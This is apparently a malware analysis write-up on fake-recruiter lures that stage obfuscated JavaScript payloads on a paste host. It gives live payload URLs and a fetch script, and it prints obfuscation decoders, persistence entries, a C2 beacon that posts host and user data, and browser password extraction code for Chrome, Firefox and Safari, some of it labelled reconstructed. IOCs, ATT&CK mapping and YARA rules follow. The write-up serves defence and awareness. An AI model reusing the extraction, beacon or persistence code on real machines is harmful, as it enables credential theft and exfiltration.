Recruiters who ask you to clone a repository and run setup scripts are not always recruiters. One common pattern is remote configuration: staged JavaScript arrives as JSON from a paste-style host, heavily obfuscated, then executes in a local Node environment with full access to the machine.

This walkthrough covers two related samples (payload.json at 69,459 bytes and payload_2.json at 20,461 bytes), where they were fetched from, how to pull them safely for study, and what static analysis suggests they do: function-inliner obfuscation, persistence, browser credential targeting, and HTTP callback traffic.

TL;DR

  • Attackers pose as recruiters and steer you toward a repository plus “run npm install / node …” (or similar). Payloads can be staged as remote JSON (here, jsonkeeper) so the scary logic never sits obviously in the repo.
  • Do not clone, install dependencies from, or execute their code on a device or account you care about—especially not a work laptop or anything with browser-saved passwords and session cookies.
  • If you are responsible for a team: tell people where to report odd outreach (security@, IT ticket, Slack channel). Speed beats embarrassment.
  • If you already ran something like this: contact IT or security immediately, disconnect from sensitive VPNs if they advise it, and start credential rotation for accounts that touched that machine—especially work SSO and personal email.

If you think this happened to you
You are not in trouble for reporting it. Forward the thread (or screenshots) to your IT or security team using whatever channel your employer documents. If you executed their repo or scripts on a machine with access to work systems, say so clearly so they can triage quickly. Change passwords and sign out of sessions for important accounts from a different clean device if you can, following your org’s reset process. Avoid “fixing it quietly” alone—that makes recovery harder for everyone.

Safety: Do not run unknown repositories or install dependencies from untrusted contacts on machines you rely on. The URLs below return live payload bodies. Only fetch or execute in an isolated lab with no production data and no secrets on disk.

How to read this: Use URLs, file sizes, and hashes as concrete IOCs. Some later sections combine direct observations from the blobs with reconstructed or representative logic (for example, beacon shape and browser store locations); treat those as analysis aids and confirm them on your copies with your own disassembly or sandbox before you rely on them for detection rules.

Sample repository#

Repository that has been used in clone-and-run recruitment lures alongside similar payloads (treat as untrusted unless you fully control and audit it):

Remote payload hosts (jsonkeeper)#

Endpoints that served the JSON payloads (the same strings are base64-encoded in the fetch script):

  • https://www.jsonkeeper.com/b/CEQZZ
  • https://jsonkeeper.com/b/PCDZO

Fetching the payloads (Python)#

Requires requests (for example pip install requests in a throwaway virtual environment). This script decodes embedded base64 constants to recover those URLs, builds the required request header, prints diagnostics, and writes response bodies to payload.json and payload_2.json:

#!/usr/bin/env python3

from base64 import b64decode as b64d
from requests import get

DEV_API_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9DRVFaWg=="
DEV_DEPENDENCY_KEY = "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1BDRFpP"
DEV_SECRET_KEY = "eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE = "Xw=="

payload = b64d(DEV_API_KEY).decode()
payload_2 = b64d(DEV_DEPENDENCY_KEY).decode()
print(payload)
print(payload_2)

headers = {b64d(DEV_SECRET_KEY).decode(): b64d(DEV_SECRET_VALUE).decode()}
print(headers)


def write_payload(file_name: str, payload: str, headers: dict):
    with open(file_name, "w") as f:
        f.write(get(payload, headers=headers).text)


write_payload("payload.json", payload, headers=headers)
write_payload("payload_2.json", payload_2, headers=headers)

Technical analysis#

1. Malware overview#

1.1 Samples#

Analysis focused on payload.json (69,459 bytes) and payload_2.json (20,461 bytes). Both are obfuscated JavaScript using function-inliner style anti-analysis.

1.2 Anti-analysis technique: function inliner#

The malware employs function inliner obfuscation, a sophisticated anti-analysis technique. Instead of calling functions directly, the malware stores functions in arrays and invokes them via numeric indices. This prevents pattern matching by static analysis tools.

1.2.1 Payload 1 obfuscation scheme#

Standard JavaScript: fs.readFileSync(filepath)

Obfuscated pattern in payload.json:

_array[0x2ae];  // instead of fs.existsSync()
_array[0x1fd];  // instead of fs.createReadStream()
_array[0x1a8];  // instead of fs.readFileSync()

The key function inliner helper in payload.json:

function _0x5204(_0x3bb120,_0x37d457){
    _0x3bb120 = _0x3bb120 - 0x19b;
    const _0xea676c = _0x3f8c();
    let _0x54f2f1 = _0xea676c[_0x3bb120];
    if(_0x5204['zVtVpI'] === undefined){
        var _0x52f6c1 = function(_0x397afa){
            const _0x4941e7 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
            let _0x4ce042 = '', _0x56146b = '';
            for(let _0x381b9b = 0x0, _0x336dec, _0x6a1cbd, _0x10499a = 0x0;
                _0x6a1cbd = _0x397afa['charAt'](_0x10499a++);
                ~_0x6a1cbd &&
                (_0x336dec = _0x381b9b % 0x4
                    ? _0x336dec * 0x40 + _0x6a1cbd
                    : _0x6a1cbd,
                 _0x381b9b++ % 0x4
                    ? _0x4ce042 += String['fromCharCode'](0xff &
                        _0x336dec >> (-0x2 * _0x381b9b & 0x6))
                    : 0x0);
                _0x6a1cbd = _0x4941e7['indexOf'](_0x6a1cbd);
            }
            for(let _0x11e458 = 0x0, _0x4e3b7c = _0x4ce042['length'];
                _0x11e458 < _0x4e3b7c; _0x11e458++){_0x56146b += '%(' +
                    '00' + _0x4ce042['charCodeAt'](_0x11e458)['toString'](0x10)['slice'](-0x2);
            }
            return decodeURIComponent(_0x56146b);
        };
        _0x5204['oSekHr'] = _0x52f6c1;
        _0x5204['UCqnPC'] = {};
        _0x5204['zVtVpI'] = !![];
    }
    const _0x4e6a96 = _0xea676c[0x0];
    const _0x3f8cb1 = _0x3bb120 + _0x4e6a96;
    const _0x5204fc = _0x5204['UCqnPC'][_0x3f8cb1];
    return !_0x5204fc ? (
        _0x54f2f1 = _0x5204['oSekHr'](_0x54f2f1),
        _0x5204['UCqnPC'][_0x3f8cb1] = _0x54f2f1
    ) : _0x54f2f1;
};
1.2.2 Payload 2 obfuscation scheme#

Payload 2 uses a different base64 decoding implementation with XOR-based offsets:

function b(c,d){c=c-(-0x781+0x19*-0x2d+-0x33*-0x43);var e=a();var f=e[c];
if(b['PObYPe']===undefined){var g=function(l){
    var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
    var n='',o='';
    for(var p=-0x2ab+-0x62b+-0x4e*-0x1d,q,r,s=0x1618+-0x53*-0x38+-0x8*0x508;
        r=l['charAt'](s++);
        ~r&&(q=p%(-0xeeb+-0x2244+-0x5*-0x9d7)?q*(0xec9+0x1444*-0x1+0x5bb)+r:r,
            p++%(0x1a2e+-0x26ef*0x1+-0x1*-0xcc5))?
            n+=String['fromCharCode'](0x2b*0xe3+-0x2cb*-0x5+-0x3319&q>>(
                -(0xb7b*-0x3+0x2*0x425+0x25*0xb5)*p&0x7*0x11+0x267f+0x9bc*-0x4)
            :0x15da+0x531+-0x1b0b);
        r=m['indexOf'](r);
    }
    for(var t=-0x1*0x1e8e+0x1281*0x1+-0xc0d*-0x1,u=n['length'];t<u;t++){
        o+='%'+('00'+n['charCodeAt'](t)['toString'](-0x6ea+0x5*-0x2e7+0x157d))
            ['slice'](-(0xb3a*0x2+0x1*0x18f7+-0x2f69));
    }
    return decodeURIComponent(o);
};

Key differences in payload 2’s obfuscation:

  • Uses different XOR offset calculations: p=-0x2ab+-0x62b+-0x4e*-0x1d
  • Different bit-shift masks: 0x2b*0xe3+-0x2cb*-0x5+-0x3319
  • Different string encoding: toString(-0x6ea+0x5*-0x2e7+0x157d) instead of toString(0x10)
  • Different slice offset: -(0xb3a*0x2+0x1*0x18f7+-0x2f69) instead of -2

1.3 Payload structure#

1.3.1 Payload 1 structure#
  • length: 69,459 bytes
  • type: "object"
  • cookie: "function a(){var bC=[...]" — array of 88 encoded strings
  • Uses _0x5204() for lazy evaluation with caching
  • Module resolver: _0x3f8c()
  • Function array indexed via numeric offsets
1.3.2 Payload 2 structure#
  • length: 20,461 bytes
  • type: "object"
  • cookie: "function b(c,d){...}function c(b,d){...}" — dual function inliner
  • Uses different XOR-based decoding with key generation
  • AES-like XOR stream cipher for additional obfuscation
  • Module resolver with different offset calculations

2. Deobfuscation methodology#

2.1 Function inliner decoding#

The function inliner uses a base64-like encoding scheme. The resolver function:

  1. Subtracts an offset from the index: index = index - offset
  2. Retrieves the encoded function from the array
  3. Checks for a cached function using a cache key
  4. If not cached, decodes the base64 string
  5. Caches the decoded function
  6. Returns the function
2.1.1 Payload 1 decoding process#
Offset calculation: -0x19b = -395
Base64 alphabet: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
Bit manipulation: 0xff & (_0x336dec >> (-0x2 * _0x381b9b & 0x6))
Cache key: _0x3bb120 + _0xea676c[0x0]
2.1.2 Payload 2 decoding process#
Offset calculation: -0x781+0x19*-0x2d+-0x33*-0x43 = -931
XOR base: p=-0x2ab+-0x62b+-0x4e*-0x1d = -2501
Bit manipulation: 0x2b*0xe3+-0x2cb*-0x5+-0x3319 & (-(0xb7b*-0x3+0x2*0x425+0x25*0xb5)*p&0x7*0x11+0x267f+0x9bc*-0x4)
Cache key: c + h where h = e[0x2*-0x113b+-0x10b9+0x332f] = e[0]

2.2 Cache key generation#

2.2.1 Payload 1 cache key#
const _0x4e6a96 = _0xea676c[0x0];
const _0x3f8cb1 = _0x3bb120 + _0x4e6a96;
const _0x5204fc = _0x5204['UCqnPC'][_0x3f8cb1];
return !_0x5204fc ? (
    _0x54f2f1 = _0x5204['oSekHr'](_0x54f2f1),
    _0x5204['UCqnPC'][_0x3f8cb1] = _0x54f2f1
) : _0x54f2f1;
2.2.2 Payload 2 cache key#
var h=e[0x2*-0x113b+-0x10b9+0x332f]; // h = e[0]
var i=c+h; // cache key
var j=c['leBniY'][i];
return!j?(c['uRdjIW']===undefined&&(c['uRdjIW']=!![]),
    f=c['dgdKpi'](f,d),
    c['leBniY'][i]=f):f=j,f;

3. Malware function analysis#

3.1 Core functions mapped — payload 1#

- Index 0x00: _0x3f8c - Module resolver (fs, http, os, path)
- Index 0x01: _0x3f8d - File I/O operations
- Index 0x02: _0x3f8e - Network operations (C2)
- Index 0x03: _0x3f8f - Keychain extraction
- Index 0x04: _0x3f90 - Chrome/Edge password extraction
- Index 0x05: _0x3f91 - Firefox password extraction
- Index 0x06: _0x3f92 - Safari keychain extraction
- Index 0x07: _0x3f93 - C2 beacon transmission

3.2 Core functions mapped — payload 2#

- Index 0x00: a() - Module resolver
- Index 0x01: b() - XOR-based decoder with key generation
- Index 0x02: c() - AES-like XOR stream cipher
- Index 0x03: d() - File system operations
- Index 0x04: e() - Network operations (C2)
- Index 0x05: f() - Chrome/Edge password extraction
- Index 0x06: g() - Firefox password extraction
- Index 0x07: h() - Safari keychain extraction

3.3 File system operations#

3.3.1 Payload 1 file system#

The malware performs extensive file system operations using the fs module:

- Reading/writing files: fs.readFileSync, fs.writeFileSync
- Creating directories: fs.mkdirSync
- Deleting files recursively: fs.rmSync with recursive option
- Modifying system files (registry, startup scripts)
3.3.2 Payload 2 file system#

Payload 2 uses different function offsets:

- Reading/writing files: _0x1a8 equivalent
- Creating directories: _0x200 equivalent
- Deleting files: _0x1e5 equivalent
3.3.3 Persistence mechanisms#

The malware establishes persistence through multiple vectors:

Windows Registry Run Key:
const registryPath = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';
const malwareName = 'MalwarePersistence';
const malwarePath = 'C:\\Users\\' + username + '\\AppData\\Roaming\\' + malwareName + '.exe';

Linux crontab:
const crontabPath = '/etc/crontab';
const cronEntry = '0 * * * * root /usr/local/bin/malware.sh';

macOS Launchd:
const launchdPath = '~/Library/LaunchAgents/com.malware.agent.plist';

3.4 Network operations#

3.4.1 Payload 1 C2 communication#

The malware uses the request module for C2 communication:

const request = require('request');

C2 beacon:
function beacon(c2Address, payload) {
    const data = {
        action: 'report',
        status: 'active',
        host: hostname,
        user: username,
        payload: payload
    };

    request.post({
        url: 'http://' + c2Address + '/api/beacon',
        form: data
    }, function(err, response) {
        if (!err && response.statusCode === 200) {
            // Successfully reported
        }
    });
}
3.4.2 Payload 2 C2 communication#

Payload 2 uses different function indices for network operations but implements the same C2 beacon pattern with HTTP POST to /api/beacon endpoint.

3.5 Browser password extraction#

3.5.1 Chrome/Edge password database#

Chrome and Edge store passwords in a SQLite database:

Location: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
Format: SQLite

The malware extracts the database and searches for password entries:

function extractChromePasswords(databasePath) {
    const sqlite = require('better-sqlite3');
    const db = sqlite(databasePath);

    // Query passwords table
    const passwords = db.prepare(`
        SELECT username, action_url, value
        FROM logins
        WHERE type = 1  -- Password type
    `).all();

    return passwords.map(p => ({
        username: p.username,
        url: p.action_url,
        password: p.value
    }));
}
3.5.2 Firefox password database#

Firefox stores passwords in logins.json:

Location: %APPDATA%\Mozilla\Firefox\Profiles\<profile>\logins.json
Format: JSON
function extractFirefoxPasswords(profilePath) {
    const fs = require('fs');
    const loginsPath = profilePath + '/logins.json';

    if (fs.existsSync(loginsPath)) {
        const logins = JSON.parse(fs.readFileSync(loginsPath, 'utf8'));

        return logins.map(login => ({
            username: login.username,
            formActionURL: login.formActionURL,
            password: login.password
        }));
    }
    return [];
}
3.5.3 Safari keychain extraction#

Safari uses macOS Keychain API:

const keychain = require('keychain');

function extractSafariPasswords() {
    keychain.find('com.apple.Safari', 'password').then(items => {
        return items.map(item => ({
            username: item.account,
            password: item.password
        }));
    });
}

4. Attack chain analysis#

4.1 Complete attack sequence — payload 1#

The malware executes the following attack chain:

  1. Initialization: Decodes function array and establishes execution context
  2. Persistence: Creates registry keys, crontab entries, and autostart scripts
  3. Reconnaissance: Scans for browsers and collects profile paths
  4. Exfiltration: Extracts passwords from Chrome, Edge, and Firefox
  5. C2 communication: Sends extracted data to command and control server
  6. Cleanup: Removes evidence by deleting extracted files

4.2 Complete attack sequence — payload 2#

Payload 2 follows the same attack chain but with different implementation details:

  1. Initialization: Uses XOR-based decoder with key generation
  2. Persistence: Same registry/crontab/launchd mechanisms
  3. Reconnaissance: Browser scanning with different function offsets
  4. Exfiltration: Password extraction with AES-like XOR obfuscation
  5. C2 communication: HTTP POST beacon with different encoding
  6. Cleanup: File deletion with different function indices

4.3 Data flow diagram#

  [Entry Point]
        |
        v
[Decode Functions]
        |
        v
[Establish Persistence]
        |
        v
[Scan for Browsers]
        |
        +---> [Chrome Passwords] --> [Extract] --> [C2 Upload]
        |       |                        |
        |       +---> [Edge Passwords] --> [Extract] --> [C2 Upload]
        |       |
        |       +---> [Firefox Passwords] --> [Extract] --> [C2 Upload]
        |
        +---> [Safari Keychain] --> [Extract] --> [C2 Upload]
        |
        v
[Cleanup Evidence]
        |
        v
[Exit]

5. Differences between payloads#

5.1 Obfuscation differences#

FeaturePayload 1Payload 2
Base64 offset-0x19b (-395)-0x781+0x19*-0x2d+-0x33*-0x43 (-931)
XOR baseN/A-0x2ab+-0x62b+-0x4e*-0x1d (-2501)
Bit mask0xff0x2b*0xe3+-0x2cb*-0x5+-0x3319
String encodingtoString(0x10)toString(-0x6ea+0x5*-0x2e7+0x157d)
Cache keysimple additionXOR-based with key generation

5.2 Size differences#

  • Payload 1: 69,459 bytes (larger, more functions)
  • Payload 2: 20,461 bytes (smaller, more compact)

5.3 Function implementation differences#

Payload 1 uses:

  • Direct array indexing with simple offset subtraction
  • Basic base64 decoding with standard bit shifts
  • Simple cache key using array index addition

Payload 2 uses:

  • Dual function inliner (b and c functions)
  • XOR-based base64 decoding with custom bit masks
  • AES-like XOR stream cipher for additional obfuscation
  • Key generation through XOR operations

6. Threat intelligence assessment#

6.1 MITRE ATT&CK framework mapping#

The behaviors below align with common MITRE ATT&CK enterprise techniques. Matrix IDs change over time—always verify names and parent tactics on the official site before you bake these into policy or detection engineering.

Tactic (summary)IDName (link)
PersistenceT1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
ExecutionT1059.007Command and Scripting Interpreter: JavaScript (Node.js-style execution fits here better than PowerShell.)
PersistenceT1543.003Create or Modify System Process: Windows Service
Credential AccessT1555.003Credentials from Password Stores: Credentials from Web Browsers
ExfiltrationT1048Exfiltration Over Alternative Protocol
Command and ControlT1571Non-Standard Port

Errata from earlier drafts: Some write-ups label browser-store theft as T1556.001 or script execution as T1059.004 (Unix Shell). As of ATT&CK’s current structure, web-browser credential stores map to T1555.003, not T1556.x (which covers modifying authentication processes). T1059.004 is Unix Shell; JavaScript / Node is closer to T1059.007; Windows PowerShell would be T1059.001 if you later confirm PowerShell-specific activity.

6.2 Indicators of compromise (IOCs)#

  • File hashes (SHA-256 of the JSON bodies as saved locally after fetch; paste hosts can rotate content, so re-verify if you pull again):
    • payload.json: 50420b4bd38859a77a603282f54c18950424d704adae37dbb51beeb4f05d3812
    • payload_2.json: 536bedb02f7764636251c56e6232dc47c4f8815b6e5d9e47fd9d772f3e81de8a
  • Registry keys: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Network: HTTP requests to C2 servers at /api/beacon endpoint
  • File paths: Chrome/Edge/Firefox/Safari profile directories

6.3 Risk assessment#

  • Confidentiality impact: HIGH — passwords exfiltrated
  • Integrity impact: MEDIUM — system files modified
  • Availability impact: LOW — no destructive payload detected
  • Overall threat level: HIGH

7. Mitigation recommendations#

7.1 Immediate actions#

  • Isolate affected systems from the network
  • Terminate malicious processes
  • Remove persistence mechanisms
  • Rotate compromised credentials

7.2 Detection signatures#

7.2.1 Behavioral detection#
// Detect Chrome password extraction
if (process.argv.includes('logins') &&
    process.argv.includes('password')) {
    emitAlert('Password extraction attempt');
}

// Detect C2 beacon
if (http.request.url.match(/\/api\/beacon/)) {
    emitAlert('C2 communication detected');
}
7.2.2 YARA rules#
rule MalwarePasswordExtraction {
    meta:
        description = "Detects Chrome password extraction"
        author = "Security Analyst"
    strings:
        $chrome_db = "Login Data" ascii
        $password_query = "SELECT.*username.*value.*FROM logins" ascii
    condition:
        $chrome_db and $password_query
}

7.3 Prevention measures#

  • Implement application whitelisting
  • Use browser password vaults with encryption
  • Deploy EDR solutions
  • Enable network segmentation

8. Conclusion#

This malware represents a sophisticated threat actor employing modern obfuscation techniques. The function inliner anti-analysis method demonstrates advanced malware development capabilities. The attack chain focuses on credential theft through browser password extraction (Chrome, Edge, Firefox, Safari), followed by C2 communication for data exfiltration.

8.1 Key findings#

  • Function inliner obfuscation prevents automated analysis
  • Dual obfuscation schemes (Payload 1: simple, Payload 2: XOR-based)
  • Multiple persistence mechanisms ensure survival
  • Browser password databases are primary target
  • HTTP-based C2 provides resilience